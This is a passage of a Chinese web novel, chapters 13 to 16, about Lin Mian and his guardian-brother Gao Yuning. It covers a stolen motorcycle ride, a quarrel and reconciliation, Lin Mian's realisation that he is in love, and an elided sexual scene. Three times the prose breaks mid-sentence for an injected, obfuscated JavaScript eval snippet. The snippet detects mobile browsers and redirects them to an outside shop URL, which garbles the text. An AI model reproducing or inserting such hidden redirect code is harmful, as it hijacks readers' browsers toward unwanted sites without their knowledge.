本来想着等白回来,再去找郜屿宁的,但眼看快要到月底查成绩,林缅还是赶紧收拾收拾东西,准备离家出走了。 也不是觉得自己考得差,而是这样历史性的时刻,他还是想跟最重要功劳最大的郜屿宁一起见证。 毕竟他连四人组一起查成绩的邀请都拒绝了,总不会是为了和煞风景的林佑勤一起查成绩。 成绩出来的前一天,林缅借口要郜屿宁帮他填高考志愿,就拖着他的三十寸行李箱和大包小包溜走了。 张叔把林缅送到郜屿宁家才是上午,正是郜屿宁上班的时间,家里没人。 “小缅,你下午是不是还约了朋友,我到时候来送你。”张叔听到林缅刚刚在车上打电话提到下午出门去找陈汋他们的事。 林缅把行李箱从张叔手里接过来时,扫见玄关处的摩托车钥匙,心中暗喜,他熟门熟路地给张叔倒了杯水,说道,“不用了,我到时候自己打车去,不麻烦您了。” 到现在为止,除了朋友没人知道他这卧薪尝胆早出晚归了半个月是在考摩托车驾照。 送走张叔,林缅把东西理完已经差不多中午时间了,他迫不及待地想要拿郜屿宁的那辆摩托车试试手了。 林缅抱着郜屿宁的头盔、甩着车钥匙就向地下停车场去了,并且早早在四人组的小群里预告:本人即将精彩亮相。 这种正儿八经的摩托和驾校里的三蹦子有很大差别。全副武装完毕后,林缅一开始跨坐上去还有些不适应,只敢轻轻拧把手,车身一下子窜了出去,差点没停稳,林缅心跳停了一拍,下意识的反应却是不能把郜屿宁车给碰坏了。 林缅俯下上身,压低了重心,第二次启动时有数多了,很快找到了平衡。 引擎声轰鸣,他驶出了地下停车场,伴随着青天白日的光亮,他的中二血脉一下子觉醒了。甚至感觉下一秒自己就要化身假面骑士,开始变身了。 驶出一段距离,他停下来等红绿灯时,发现仪表盘上有箭头忽明忽暗的闪烁。时间还早,本就决定到处转转兜风的林缅决定就先跟着这自动导航走。? 没有目的地的林缅一路上风驰电掣,只顾着和同行的汽车竞速,感受把所有鸣笛声甩在身后的快感,极致的速度带来的肾上腺素的飙升。 导航终于显示快要到达目的地了,最后一个转弯,林缅压低身位,来了把极致的“压弯”。 最后林缅渐渐收缓速度,停在了大厦前空地上,周围都是来来往往的上班族,不少人向他侧目,刚刚的压弯压得帅但有些吓人。 林缅只顾着自己爽,不以为意,酣畅淋漓地摘下头盔,随手抓了抓头发,长呼出一口气,一副意犹未尽的样子。 “林缅。” 再熟悉不过的声音在身后不远处响起,尾音带着一点点犹豫,但足以让林缅感觉自己的心脏停了一秒。 路痴的他才后知后觉这环境有点眼熟,他视线上移,终于看清面前那几排气派的大厦,上面写着擎尤集团。 不能这么倒霉吧。林缅心想着,僵硬地转过身,但不是郜屿宁还能是谁呢。他看向几步之外的人影,不紧不慢地朝他走来。 郜屿宁之前通勤经常骑得就是这辆车,仪表盘上的自动导航目的地就是擎尤集团,一点也不奇怪。只是林缅的脑子刚刚被假面骑士占领了,现在才反应过来,自己像自投罗网的蠢王八。 郜屿宁也确实没想到,下楼去车上拿份文件的功夫能看见这一幕。 不说林缅偷骑摩托车的事情,就凭刚刚那压弯的架势,不难想象林缅这一路上骑得有多不要命。 郜屿宁目光冷厉,不着情绪的声音响起,“刚刚压弯压得挺帅啊。” 一阵热风吹过,林缅的头发被一来二去折腾得有些乱,刚刚有多帅现在就有多狼狈。 他瓮声瓮气,“哥…” 郜屿宁的视线在他身上梭巡了片刻。时隔半个多月没见,皮肤较之前黑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990811|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,头发又烫成了黑色小卷毛,被弄乱后额角的疤露正好了个边角。林缅微颤着眼皮小心翼翼地偷瞄他,嘴巴抿成一条直线,看着有多委屈似的。 “滚下来。”郜屿宁不吃他装小羊的这一套,声音短促。 林缅只好抱着头盔灰溜溜地从车上下来。明明也一米八的人了,站在郜屿宁面前气势自动弱了一半。 “哥,我有驾照的。”他小声辩驳。 “屁话,没驾照你早进看拘留所了。你要我去警局接你几次?”郜屿宁不难猜到这半个月林缅干什么去了。 “我不是怕你不同意嘛…” 话音未落,林缅的肚子不合时宜地叫了一声。从早上收拾行李到现在他一口东西都没吃。 他轻轻抬起眼睛看向郜屿宁,下嘴唇微微翘起,又是一副可怜表情。 郜屿宁依旧冷着脸,没再搭理他,转身朝身后的一家餐厅走去。林缅赶紧跟了上去。 餐厅里有不少人是擎尤的员工,林缅感受到很多若有似无的眼神落在郜屿宁的身上。 他小心翼翼地把头盔放到对面的沙发上,然后坐到郜屿宁的身边,也不敢使出太大的动静让别人看笑话。 菜品很快上齐。 “哥,你用不着生这么大气吧…”林缅搅了一叉子意面,低声说道。 “赶紧吃,吃完滚。” 林缅不敢火上浇油,只好沉默着进食。正好两个人经过他们卡座时,突然回头惊喜地跟郜屿宁打招呼。 郜屿宁掀起眼皮,牵着嘴角,微微笑了一下算作回应。 正是午餐高峰期,餐厅没有空座了,那两位同事又不好意思地问能不能拼座。 林缅赶紧点头如捣蒜,“可以呀可以呀。”说着起身把对面沙发的头盔捧了回来。想着有外人在,郜屿宁不会太给他脸色看。 实习生何琰南的视线落在旁边的林缅身上,“这位是?” 郜屿宁刚张口,林缅赶紧抢先回答,“我是他弟弟。” 何琰南的表情亮了起来,“哦!我记得的,你叫林缅对吧!” 郜屿宁冷淡地“嗯”了一声。 林缅突然心里喜滋滋的,还有点不好意思,“我哥还跟你们提过我呀…” 何琰南哈哈笑了一下,“不是,我见过你的一模考卷。” 林缅的笑脸瞬间僵住了。哦,就是那场考得奇烂的一模。林缅假装没听见,赶紧低下头扒拉意面。 另一个同事看到林缅沙发上的头盔,眼睛亮了,“刚刚外面那个骑摩托的就是你呀,很帅诶。” 感觉到郜屿宁的目光不轻不重地落在他身上,林缅又立马如芒在背了。 他敷衍着笑了笑,又埋下头继续吃饭。不知道骑个摩托车有什么大不了的,郜屿宁也经常骑啊,一个个都大惊小怪的。 林缅用叉子插着盘里剩下的几根意面,卷成卷,又抖下来,又卷成卷,又要抖下来。 开始玩剩下的食物就是他已经饱了的潜意识行为。 “吃完了?”沉默了很久的郜屿宁开口。 林缅抬头看向他,点了点头,把嘴里最后一口面咽了下。 郜屿宁把自己的柠檬水推到他面前,林缅低下头凑过去,直接抿着吸管喝了一口。 正准备抱着头盔起身,听见郜屿宁说,“擦嘴。” “嗯。”林缅接过纸巾擦了擦嘴,情绪不高但还记得朝对面的两位礼貌地打了个招呼,“我们走了,你们慢吃。” 对面两位已经看愣住了,木木地点头。透过餐厅的透明玻璃,他俩看着林缅抱着头盔亦步亦趋地跟在郜屿宁的身后,看样子乖顺极了。 另一位同事说,“这哪是弟弟啊,这不是小狗吗?” “这是哥哥吗…这是主人吧。”何琰南激动地拍大腿,“郜助也太帅了…想谈…” 14. 第 14 章 “钥匙给我,打车回去。” 两人站定在摩托车边,郜屿宁不容置喙地说道。 “干嘛,我不要。”林缅把头盔抱到腰侧,皱着眉反驳。 郜屿宁没有说话,微微抬着下巴,目光直白地落在他脸上,情绪溢于言表的不悦。 林缅继续闷闷不乐地说道,“你凭什么不让我骑啊,我都有驾照了。” “想让我报警抓偷车贼是吧?” 不等林缅找理由反驳,郜屿宁就捏着他的肩膀朝路边走去,抬手拦了一辆出租车。 心虚的林缅小声说,“干嘛那么小气…” 郜屿宁看了他一眼,林缅又立刻噤了声,不情不愿地交出钥匙和头盔。 出租车稳稳停在他们面前,郜屿宁打开车门把脸快垮到地上的林缅塞了进去,再弯腰向师傅报了家里的地址。 林缅还要说什么,郜屿宁指着他鼻子,厉声道,“闭嘴,回去收拾你。” 出租车向前滑行,林缅故意不看窗外的人影,觉得委屈至极,梗着脖子只留给他一个冷漠的后脑勺。 等到正式驶入主路,林缅才擦了把眼泪,跟师傅报了个ktv的名字换了方向。 司机师傅扫了后视镜好几眼,“看你也是个大孩子了,你哥管你还这么严呐?” 林缅吸了吸鼻子,望着窗外,随口应,“嗯…” “嗨…你哥呀,就是工作压力大,拿你撒气呢…”师傅粗着嗓子说道,一副中年男人喜欢妄下定论的做派。 林缅的视线从窗外缓缓移到驾驶座椅露出来的那半个脑门上,看见后视镜里他嘲弄的嘴脸。 “你说什么呢?”林缅不敢置信地问。 师傅笑了一声,想着和小乘客套近乎,继续说,“一看你哥就没结婚生孩子呢,等他有了自己的家庭就懒得处处管着你了,到时候你就自由喽。” 越说越没边,要不是在车上林缅肯定直接跳起来挥拳头了,“你胡说八道什么?我哥对我很好的!才不是拿我撒气呢!” 师傅本想继续打趣,但看见林缅像急眼的小狗一样,恶狠狠地盯着他,自知弄巧成拙地撇了撇嘴,低声说,“还不信…” “还说!再说我投诉你了!”林缅睁圆了眼睛,眉毛拧在一起。 司机师傅这才彻底闭嘴,脸上还带着“你以后就知道了”的意味。 下车时,林缅还不忘狠狠地剜他一眼,关门的动静巴不得把车玻璃震碎了。 林缅跟着服务生走到他们的包厢,陈汋他们早就到了,看林缅姗姗来迟又闷闷不乐的样子就知道有情况。 “怎么了这是?”陈汋问。 林缅朝沙发上一倚,摆了摆手,“没什么,就是路上碰到了个脑残司机。” 陈汋瞪大眼睛,“你跟人家在路上碰了?” 林缅顿了一下,看着紧张的几人,才反应过来他们以为林缅骑摩托新手上路出事故了,解释道,“不是,我打车来的。” 陈汋松了口气,“哦,没事儿就好。”又跟池景行凑到角落里玩去了。 “不是说要闪亮登场吗?”徐语常揶揄。 林缅身上还冒着室外的热气,猛灌了一口冰果汁,才回答道,“我哥把车没收了。” 只顾着生那个司机的气,早就把这件事情抛到脑后了。 提起这一茬,先前在郜屿宁面前的义正严辞全都消失了,反倒开始惆怅回去该怎么认错让他哥消气了。 “那不正好,不用骑车,可以喝酒啦。”徐语常的超长杏仁甲敲在啤酒瓶上,发出清脆的声音。 林缅想也没想地就拒绝,“算了,晚上我哥肯定又要说我,本来就生我气呢…” “不是吧,哪来的乖宝宝啊,陈汋都允许小行喝酒了,你还这么听话?” 徐语常继续问,“抽烟呢?” “不抽,我哥不让。” “张口闭口你哥你哥的,你跑这儿来炫耀你是哥控来了?”徐语常无语地说。 林缅也才意识到自己三句话不离郜屿宁,这是常态了。他不自然地抿了抿嘴唇。 他抬头看了眼旁边沙发上腻腻歪歪的两个人,两个人都拿着麦克风没一个在好好唱歌。 林缅收回视线,脑海中突然想起之前在网吧得知他俩在谈恋爱时徐语常说过的一句话,他摸了摸鼻尖,凑过去问道,“我记得你之前说过,陈汋管小行不是管弟弟的管法,是什么意思?” 徐语常随着他的视线看过去又扭过头来,聊起八卦徐语常的表情也精彩起来,“你看不出来?是在管老婆呀!” 林缅迟钝地抬起一侧的眉毛,盯着她,等她继续说下去。 徐语常有理有据地给他分析,“你看啊,小行跟前桌女生说话借块橡皮,陈汋都要记仇好几天,醋劲大得不行。” 他清了清嗓子,身子前倾,手肘撑在膝盖上,掩饰自己的不自在。 下意识地开始拿郜屿宁和自己的相处模式和“管老婆”的模式作对比。 但林缅莫名感觉胸口像挨了一记闷拳。 发现郜屿宁还偶尔会用追女生、谈恋爱之类的事情打趣他,好像一点也没有这种对喜欢的人的占有欲。 “陈汋还粘人得要命,跟长在小行身上一样。你还记得吗?上次小行生日,愣是被陈汋弄得像他俩的官宣仪式。” 郜屿宁一点都不粘他,倒是林缅黏郜屿宁黏得跟块小熊软糖似的,动不动消息轰炸、万事都以郜屿宁的意见为先。 “陈汋看着独断专横,不允许这不允许那的,其实都是在无理取闹,引起老婆注意力呢。” 林缅才是总无理取闹的那个,总给郜屿宁添麻烦、惹他烦心。初中打架进医院让郜屿宁在病房里守了三天三夜,闯了祸让他三更半夜来警局接人… 郜屿宁会像喜欢老婆一样喜欢他才怪呢。 “你见过把弟弟从头到脚都包办到位的哥哥吗?小到穿衣吃饭,大到人生规划?” 这倒是见过。 终于有郜屿宁符合的一点了,连林缅现在身上穿的内裤都是郜屿宁帮他买的,当然能顺利参加高考郜屿宁也费尽了心血。 可现在想来,这分明就是管弟弟!管小狗! 不允许他抽烟喝酒就是在管弟弟,不允许他骑摩托车也是,就连一开始不同意让他留在国内也是。 林缅感觉眼皮重重的,他垂下眼睛,心事也重重的。 一想到可能真如那个臭司机所言,未来可能会有一位陌生的女人完全占据郜屿宁的身心,林缅就觉得心脏被剜掉了一块般的可怖和空虚。 “当然啦,也不是所有情侣都这样的…” 徐语常还在分析,但林缅脑袋上就像戴了个真空的玻璃罩,完全听不进她在说什么。 一旁的手机突然响了,林缅回过神来,屏幕显示是郜屿宁打来的电话。 他扫了眼时间,郜屿宁应该已经下班了。 他接起电话,对面传来冷厉的声音,夹杂着冰冷的电流声,“人呢?” 又来了!又把他当弟弟!当小狗!讨厌死了! 林缅吸了一口气,也低着声音回答, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990812|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我晚上自己回来。” 听筒里只剩下忙音。对面利落地直接挂断了。 林缅恼羞成怒地把手机摔在桌上,徐语常吓了一跳,“你怎么了?” “我要喝酒。”林缅眼中噙着眼泪,委屈地说。 林缅起身拿起一瓶啤酒,本想猛猛灌入口中,但是动静太大,啤酒混着白沫全顺着他的下巴滴到衣服身上了,只有舌尖尝到了个味道,倒是身上被酒味醺透了。 林缅讪讪地把酒瓶放回桌上,连借酒消愁的兴致都没了。 聚会结束,林缅回家已经接近十点钟,自从下午那个电话之后,郜屿宁没有再找过他。 屋内的光亮从猫眼里透出来,林缅熟捻地摁开密码锁,在门口换鞋。 扫了眼坐在餐桌旁看电脑的人,闷闷地喊了声,“哥。” 郜屿宁没有应他,镜片上映出电脑屏幕的光亮。 林缅径直走向房间,准备拿洗澡换洗的衣物,经过餐桌边,郜屿宁皱着眉,抬头看他,“你喝酒了?” 林缅也就喝了那一口,散发的酒味只是因为泼到身上了而已,他却承认了,“嗯。” 郜屿宁看了眼他还算正常的面色,收回视线,嘴上叮嘱,“别跟什么人都瞎喝,注意点安全。” 林缅突然觉得胸口那记闷拳带来的钝钝的痛感在渐渐扩大。为什么郜屿宁不说以后不许喝酒,不允许和别人喝。 因为在郜屿宁眼里他就只是弟弟而已,可以和别人喝酒,当然也可以和别人谈恋爱。猜测到这里林缅的心绪缠得更乱。 郜屿宁收回视线,重新看向电脑,面不改色地继续说,“去洗澡,洗完了我有事儿跟你说。” 林缅站定在他面前,抿直了嘴唇,“说什么?” 郜屿宁直接合上电脑,向后倚靠在椅背上,开诚布公,“为什么偷偷考驾照骑摩托没跟我说?” 林缅胸口起伏了一下,态度烦躁地回答,“不想说。” “不想说是什么意思?”郜屿宁蹙着眉问。 林缅把视线从郜屿宁身上移开,拧巴又倔强地沉默着。 “你在家那么多天,你爸知道了吗?”郜屿宁问。 “又提他。”林缅烦躁至极,看着郜屿宁,不耐烦地吼道,“能不能别一有事儿就提我爸!每次都用我爸来压我,老是用一副公事公办的态度。” 郜屿宁顿了一下,情绪也起伏起来,“林缅,你想让我什么态度?莫名其妙发什么脾气?” 积压的情绪像是洪水一样倾泻,“我哪里莫名其妙了!明明就是你嫌我麻烦还装模作样的!你要是不想管我,就别管我了,烦死了!” 林缅声泪俱下,情绪激动时又开始口不择言,“你又不是真的关心我!高考也是,我想骑摩托也是,你不就是怕不好跟我爸交代嘛!假惺惺的!” 安静的客厅里只剩下林缅断断续续的抽泣,他抬起手臂抹了一把眼泪。 郜屿宁眉眼微动,视线落在林缅固执的表情上。林缅一胡闹起来就喜欢口无遮拦,他是知道的。 “你又开始了是吧?”郜屿宁把黑框眼镜不轻不重地扔在桌上,神色晦暗。 林缅擦了把眼睛,拧过头,“用不着你管。” 郜屿宁松开抿得有些失去血色的嘴唇,表情如常地听他把一通胡话说完,不紧不慢地开口。 “行,林缅,觉得我多管闲事了?正好你亲哥要回来了,你不是说早就嫌我烦了吗,以后不用再被我管着了,你能脱离苦海了。” “你心里就是这样想的对吧?” 15. 第 15 章 林缅的眼神有一瞬的凝滞,木愣着移向郜屿宁的脸上。 那种钝痛感弥漫到整个胸腔。 “怎么样?我说这种话你心里好受吗?”郜屿宁直白地看着他,问。 林缅摇了摇头,瞬间蔫了下去,低声回答,“不好受。” 郜屿宁胸口起伏了一下,语气却平缓,淡淡地吐出,“可是林缅,这样的话你对我说过很多次。” 说郜屿宁肯定巴不得他死在手术室里、说郜屿宁觉得他是拖油瓶、说郜屿宁根本不是真心要他好、说郜屿宁对他好只是因为林佑勤是他的老板… 林缅在嫌弃郜屿宁对他的好、给他的爱都不是给爱人的那一份,就出口伤人地推开。 可是不管是弟弟,是小狗,还是爱人,郜屿宁明明都已经把他当成很重要的人了。 林缅再没良心都应该知道的。 林缅后知后觉胸口的钝痛消失了,但是有一双手在紧紧攥着他的心脏,他从郜屿宁平静如常的表情里看出了失望和裂痕。 自知做错事说错话的林缅吸了吸鼻子,蹲到郜屿宁的面前,抬起眼睛,“哥,我知道错了…” 林缅的眼睛依旧红着,身上散发着淡淡酒味,倒真像是喝多了,虽然较之前晒黑了一些,但黑色小卷毛还是衬得他很白,可怜巴巴地抬头盯着他。 郜屿宁别开眼睛。 “哥,你看看我嘛…”林缅捧住郜屿宁的脸面对自己,摆定了之后,还挤出个勉强的笑脸,“我保证以后一定好好听你的话,再也不乱发脾气了…” 郜屿宁的眼神难以窥见一丝情绪,但却是在实打实地郁闷,他并不觉得自己过分骄纵了林缅,可脾气确实任性了些,但又看不得林缅这样低声下气和可怜讨好的模样,即便是对他自己,也觉得痛心。 郜屿宁嘴唇微张,“第几次了?” “最后一次啦!”林缅眯着眼睛,眼泪从眼角流下来。 在林缅发现自己连弟弟或者小狗的那份好都有可能被郜屿宁收回的时候,甚至可能变成形同陌路、生分疏远的老板助理和小少爷,他只能长教训地攥紧自己已有的。 林缅抱住郜屿宁,喃喃地说,“哥你别不管我…我只有你了,你知道的。” “我以后绝对不会再乱说话了,哥。我知道在你心里我也很重要,你对我很好很好,就跟亲弟弟一样。” 郜屿宁扯了扯嘴角,轻笑道,“我对我亲弟弟可不好。”又握住林缅的手臂,把他从地上拽起来。 林缅跨坐到他的腿上,看着他已经恢复如常的眼睛,还有抬起的嘴角。 “你也不许说刚刚那些话。”那些什么等林准回来就会跟他疏远的胡话。 郜屿宁眼睛轻轻闭了一下,表示答应,扭过头轻咳了一声,扯着嘴角,补充,“你想留在哪里,都凭你高兴。” 林缅眼睛又红起来,答案并不让他满意,“又怎么了?”只是郜屿宁没看懂,揽住他的腰以防他掉下去,身子前倾抽了张桌上的纸巾。 “没什么。”林缅嘴上失落地回应着,但很快眼泪就把郜屿宁手上的纸巾浸湿了。 郜屿宁又抽了张纸,帮他擦了眼泪,打趣他,“小没良心的,说话那么伤人,我还没哭呢,你倒先哭上了?” “我都承认错误了…”林缅低着眼睛,小声说。 “知道,没放在心上。”郜屿宁声音也轻了很多,认真地帮他把脸上的眼泪擦干净,连鼻子也被擦得红红的,“擦疼了吗?” 林缅摇了摇头,双臂搂住郜屿宁的脖子,脑袋也紧紧靠着。 郜屿宁抬手把纸巾扔到桌上,一只手揽着林缅的腰,另一只手摸着他的背,“好了,赶紧洗澡去,臭死了,一身酒味儿。” 林缅想起中午回来收拾行李时看到自己房间的床上用品都已经换洗过了,他把头抬起来,“我自己睡吗?” 郜屿宁促狭一笑,“不然呢?” 林缅脸又要皱起来,郜屿宁立马伸出食指指着他,压平了嘴角,故作严肃地冷声,“不许哭。” 林缅条件反射地噤声,听话地从郜屿宁的身上下来收拾东西去洗澡。 - 第二天一向喜欢睡懒觉的林缅还是一听见门外的动静就爬起来了。 郜屿宁正在卫生间里收拾,看着镜子里靠在门框上还眯着眼睛没完全清醒的林缅,笑着说,“眼睛都肿成核桃了。” 郜屿宁拿起林缅的牙刷挤上牙膏,不等林缅迟钝地抬手,郜屿宁直接掐着他的脸塞进他的嘴里,林缅没反应过来“唔”了一声,嘴里的薄荷味道让他清醒了大半。 林缅不知道是在发愣还是沉浸在昨天的情绪里,整个人闷闷的。吃早饭的时候,郜屿宁扫了他一眼,“怎么了?” 林缅的视线从窗外的晴光万丈收了回来,啃了一小口手里的包子,借口说,“没什么,今天要查成绩了…有点紧张…” 其实昨天闹了一通,他都差点忘记今天是出高考成绩的重要日子。 “嗯,晚上八点?今天应该不加班。”郜屿宁打开手机看了眼日程表。 “好…”林缅继续小口啃着包子。 “你之前不是要和朋友去旅行?大概什么时候去?” “嗯,就我们四个…填完志愿吧…”林缅兴致缺缺,有点低沉地说,“徐语常要出国上学了,所以可能以后大家都有时间的机会很少了…” 郜屿宁拿纸巾的手顿了一下,问道,“徐语常要出国?” 林缅抬起眼睛,看向郜屿宁,看见他眼里闪过一丝的诧异,抿着嘴唇问,“怎么啦…” 郜屿宁本以为林缅是因为和徐语常在谈恋爱才为了她留在国内的,但现在看来是他猜错了。 他有些不自然地轻咳了一声,但很快神色如常,回答,“没什么。” “哦…”林缅微微怔住,又垂下头说。 郜屿宁很少会问关于别人的事情,这在林缅看来也很反常。 林缅看着手里的包子,本来就没胃口,现在更是食之无味,“不想吃了…” “怎么了?”郜屿宁起身把西装穿上。 “豆沙太甜了。”林缅递到郜屿宁面前。 “豆沙是突然甜的吗?”郜屿宁看了他一眼,低下头顺着他的牙印咬了一口,“还是同一家,以前那么多狗吃的?” 被打趣林缅也没有急眼,沉默地把手里的包装袋收拾好。 “你不是会紧张成这样的人,有心事?” 林缅皱起眉,低头摆弄手里的包装纸,揉得哗哗作响,嘟囔着,“就是没胃口。” 见林缅不想多说,郜屿宁也没再逼问,起身后用指关节轻轻叩了叩桌子。 林缅条件反射地抬头。 看了眼郜屿宁穿得是一套深蓝色西装,宽肩窄腰,身姿挺阔,内衬的领子却没有理好,依旧敞着,露出一片青筋骨骼明显的皮肤。郜屿宁微微抬起下巴,挑着眉看着他。 一向都是林缅帮他拿领带的。 林缅会意,放下手里的东西,走进郜屿宁房间,熟门熟路地打开他收纳领带的抽屉,拎着两条跟今天的西装的最配的领带出来了。 “哪条?”林缅手里一条酒红色蓝条纹,一条和西装同色系的深蓝色领带,在空中轻轻晃了晃。 “蓝的吧。”郜屿宁视线从手机上移开。 林缅走过去,郜屿宁伸手要接,林缅却把手躲开了,仰着头把郜屿宁的衬衫领子理好,把领带认真系好,轻声说,“路上小心,早点回来,哥。” 两人离得很近,林缅看见郜屿宁的喉结滚了一下,应了一声。 “有事不想说我也不逼你。”郜屿宁只当他今天的情绪反常是因为要查高考成绩了,抬手蹭了一下他的脸,语气认真,“但是别紧张了,考不好也没那么严重。” “知道。”林缅顺应着点了点头,手里机械地玩弄着另一条郜屿宁没有选中的领带,缠在手掌上又松开,又缠上。 把郜屿宁送出门,防盗门彻底落锁,客厅陷入寂静,林缅的情绪被彻底撕开一个口子。 他跑回房间,倒在床上,眼泪擦完又落下来,好像永远流不完一样,把那条领带都洇湿成更深的颜色。 脑子里一片混乱,把所有乱七八糟的想法编排成了一个完整又有些荒唐的猜想:郜屿宁是不是喜欢徐语常。 为什么那天成人礼徐语常上台讲话的时候,郜屿宁看得那么认真?为什么郜屿宁得知徐语常要出国之后表情闪过一丝异样? 再离谱再不敢置信,这样的情绪下,他也把自己哄得越来越笃定。 郜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990813|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屿宁会喜欢徐语常这样酷酷的女孩好像也不是很难理解,而不是喜欢林缅这种听话懂事乖乖的男孩。林缅自暴自弃地这样想。 更让他绝望地是认清了一个事实,郜屿宁是直的。 可是是男孩是女孩真的很重要吗? 他从床上爬起来,抹了一把眼睛,抱着平板回到床上,打开和陈汋的聊天记录,找到之前陈汋发给他的一条短小精练的网址,点了进去。 突如其来的满屏幕赤裸给了他巨大的视觉冲击,他皱着眉点开一条看上去口味没那么重的视频。 屏幕里两条人叠在一起,发出毫不收敛的声音,面对镜头坦荡又忘情。 林缅却感觉喉咙里浸着一团湿棉花,呕不出来,也咽不下去 没有任何能让林缅产生动情的地方,甚至觉得恶心。 他翻了个身,够到床头柜上的抽屉,拿出上次在陈汋家不小心掉在他包里的那盒套子。 条件有限。 ………… 平板被彻底扔到一边,声响成了背景音。 ………… 速度放得极缓。 ………… 只有的疼痛和异物感。 ………… 被扔在远处的手机突然响了,他慢慢吞吞地去够手机,是郜屿宁打来的电话。 “喂,哥?”林缅清了清嗓子开口,但还是有些嘶哑。 “在干什么呢?”郜屿宁的声音像在一个不大的空间里。 郜屿宁的嗓音带着电流声,一鼓一鼓敲着他的耳膜。 …………… “看电视呢…哥。”林缅回答,但把平板踹远了一点。 用脑袋和肩膀夹着手机,空出手去拿那条领带,松松地缠了上去……… “又在看假面骑士?” “嗯,差不多…”都是日本的,确实差不太多。 林缅尽量保持声音的平稳,但是尾音还是忍不住发虚。 “没事儿的话去我房间帮我拿份文件送下来,我就不上来了。” 林缅仰起头,轻轻嗯了一声,沉默着感受。 …………… “林缅?”郜屿宁的声音又在耳朵边响起。 “哥哥…” “身体不舒服?”对面顿了一下,似乎听出他声音有些虚力。 …………… 林缅缓缓睁开眼睛。 “没有…” 林缅坐起身。 “哥你等一下。”吸了口气说道。 他终于确定自己也不是同性恋,他只喜欢郜屿宁。 红色的布料已经被洇湿。 他把带着污渍的领带随意地团成团丢进床底,把平板随便扣上踢到一边。 差不多收拾了一下,便下楼给郜屿宁送了个资料,回来之后也一直心不在焉、浑浑噩噩的。 脑海中回放着,液体缓缓从领带下面流出来的画面。 晚上八点是出成绩的时间,林缅躺在沙发上刷新手机页面。 郜屿宁洗完澡走出浴室,随手把眼镜带上,脖子上挂着条毛巾,走到沙发边拍了拍林缅的脚,“成绩出来了吗?” 林缅视线一直盯在手机屏幕上,摇了摇头,收起脚从沙发上坐了起来,等郜屿宁坐下来之后,他又换了个头,脑袋枕在郜屿宁的腿上。 郜屿宁微微歪着头,看了眼林缅手机屏幕,只有一个正在加载的标识。 郜屿宁的头发只是吹个半干,几撮额前的碎发凝出水珠,打在了林缅的额头上。 林缅的视线移到郜屿宁的脸上,从这个角度看这张脸也帅得依旧无可挑剔,他后知后觉这个角度好暧昧,就像在… “我去拿平板试一下?”郜屿宁拍了拍林缅的脸蛋。 愣怔着的林缅回过神来,把头从郜屿宁的腿上抬起来,“在房间里。” 郜屿宁起身进了他房间,拿着平板出来,“密码没变?” “嗯。”林缅把蹭乱的头发往下压了压,看见郜屿宁的脸被屏幕照亮。 郜屿宁的镜片上反光着屏幕上的内容,林缅像是突然想起什么似的起身冲了过去,“等一下!” 但是为时已晚,几乎在同一时间,安静了两秒的客厅里开始回荡.银.乱.的喘.叫。 16. 第 16 章 林缅抢过平板手忙脚乱地把后台软件都滑掉。喘叫声戛然而止,客厅陷入一片诡异的安静。 郜屿宁偏过头,脑子里还在消化刚刚眼睛看到的内容。两具.赤.裸.的男.性.身.体.交.叠在一起。 最重要的是在林缅的浏览器上看到的。 林缅感觉自己脸烧起来了,抱着平板坐回沙发上,强装镇定地打开干净的浏览器页面输入网址和考生信息。 郜屿宁看向沙发上那个巴不得把脑袋藏到地下去的人,输信息的时候输了好几次都输错了,他别回头轻咳了一声,也坐了过来。 少见的,他突然不知道自己该说什么。即便他已经在尽力戒烟了,但这种时刻他还是下意识地摸了摸裤兜想要掏烟,才发现自己穿得是睡裤。 林缅捕捉他的不自在,再抬眼时眼睛已经红了,别扭地说道,“我是喜欢男的,又不是喜欢你,有什么可为难的。” 郜屿宁舔了舔有些发涩的下唇,只以为他是最近意识到自己的性向,为之烦恼,问道,“你最近是因为这个情绪不好?” 林缅低下头,在屏幕上胡乱地点来点去。 郜屿宁接过他怀里的平板,放到茶几上,沉了沉气。 林缅对着空荡荡的双手发呆,又抬手抹了一把眼睛,沉默下来。 郜屿宁轻叹一口气,抽了张纸低下头给他擦眼泪,“算了,不想说不说了。” 林缅吸了吸鼻子,反倒撕开了个口子,若是直接这样糊弄过去不知道两人还有多少不自在。 他呼出一口气,假装认真地坦白,“不是,我有喜欢的人,只是…只是,不太能在一起而已。” “嗯?”郜屿宁抽纸巾的手在空中顿了一下。 林缅抬起眼皮,自顾自地编造,“他在国外…” 郜屿宁问,“那你为什么又不肯出国?”林缅当初为了留在国内可是闹出了要死要活的架势。 林缅脑子里快速地找补,轻描淡写道,“那他不是要回来了嘛?而且也不知道他喜不喜欢男的…” 